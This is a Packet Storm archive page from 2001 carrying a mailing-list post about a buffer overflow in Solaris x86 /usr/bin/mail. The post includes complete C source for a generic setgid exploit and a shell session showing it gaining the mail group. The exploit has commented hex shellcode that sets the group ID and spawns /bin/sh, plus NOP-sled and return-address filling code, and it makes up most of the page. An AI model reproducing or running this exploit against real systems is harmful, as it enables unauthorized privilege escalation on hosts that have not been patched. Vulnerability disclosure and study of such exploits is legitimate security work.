exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris_x86_mail_exploit.txt

Solaris_x86_mail_exploit.txt
Posted Nov 22, 2001

Working Solaris x86 /usr/bin/mail exploit

tags | exploit, x86
systems | solaris
SHA-256 | a711668cc0d9690ee75eb24dd2d018bd428e023e5b49e67478bbd7fdca690496

Solaris_x86_mail_exploit.txt

Change Mirror Download
Greetings,

A few weeks ago I posted regarding an overflow in /usr/bin/mail on Solaris
2.7. I incorrectly stated that mail drops privs before the overflow occurs.
Cheez Whiz, who wrote the shellcode, saw my post on Packetstorm and supplied
the following information:

...The problem with your present exploit lies in the shell code that
it uses. Have you read my posting to Bugtraq with regards to the way that
/bin/sh under Solaris handles mismatches between real and effective UIDs?
You can review it at:

http://packetstormsecurity.org/9901-exploits/ufodump.c

A little experimentation with /bin/sh on Solaris seems to suggest that it
treats group IDs in a similar manner. If you try to execute a shell with
an effective GID that does not match your real GID (as would be the case
when the overflow in /usr/bin/mail happens) the shell abandons its special
privilege. This is what is happening in your exploit.

...

This replacement shell code makes sure that the
real GID of the process is equal to the effective GID before exec'ing the
shell. It does setregid(getegid(), getegid()) since Solaris is a little
quirky about setgid(), because setgid(setegid()) works on other UNIX systems
but does not work on Solaris. This new shell code can be used against other
SGID overflows, since it will work regardless of the privileged GID of the
target binary. It's also 10 bytes longer than the previous code so make
sure to reduce your NOP count by 10.

Thus the new exploit works as follows:

bash-2.02$ uname -a; id
SunOS solhack 5.7 Generic_106542-05 i86pc i386 i86pc
uid=136(btellier) gid=100(devel)
bash-2.02$ /usr/bin/mail -m `./mailex 0 1975 2285` foo
.
$ id
uid=136(btellier) gid=6(mail)
$

Brock Tellier
UNIX Systems Administrator


--- solx86gid.c ---
/*
* Generic Solaris x86 exploit program by Brock Tellier
* For use against any x86 sgid binary
* Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it
doesn't match your real gid)
* Will set gid=6(mail)
*
* gcc -o mailex solx86gid.c
* /usr/bin/mail -m `./mailex 0 1975 2285` foo
. <period, enter>
$

* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 10000
#define NOP 0x90


char shell[] =
/* 0 */ "\xeb\x45" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* setregid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\xb0\x2f" /* movb $0x2f,%al */
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
/* 34 */ "\x52" /* pushl %edx */
/* 35 */ "\x52" /* pushl %edx */
/* 36 */ "\x31\xc0" /* xor %eax,%eax */
/* 38 */ "\xb0\xcb" /* movb $0xcb,%al */
/* 40 */ "\xe8\xd5\xff\xff\xff" /* call syscall */
/* 45 */ "\x83\xc4\x08" /* addl $0x4,%esp */
/* execve: */
/* 48 */ "\x31\xc0" /* xor %eax,%eax */
/* 50 */ "\x50" /* pushl %eax */
/* 51 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 54 */ "\x53" /* pushl %ebx */
/* 55 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 57 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 60 */ "\x53" /* pushl %ebx */
/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */
/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */
/* data: */
/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff"; /* DATA */

unsigned long int nop;
unsigned long int esp;
long int offset;

char buf[BUF];

unsigned long int get_esp()
{
__asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
int buflen, i;


if (argc > 1)
offset = strtol(argv[1], NULL, 0);

if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 285;

if (argc > 3)
buflen=atoi(argv[3]);
else
buflen=BUF;

esp = get_esp();


memset(buf, NOP, buflen);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < buflen-4; i += 4)
*((int *) &buf[i]) = esp+offset;

for (i = 0; i < strlen(buf); i++) putchar(buf[i]);

return;
}

------

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close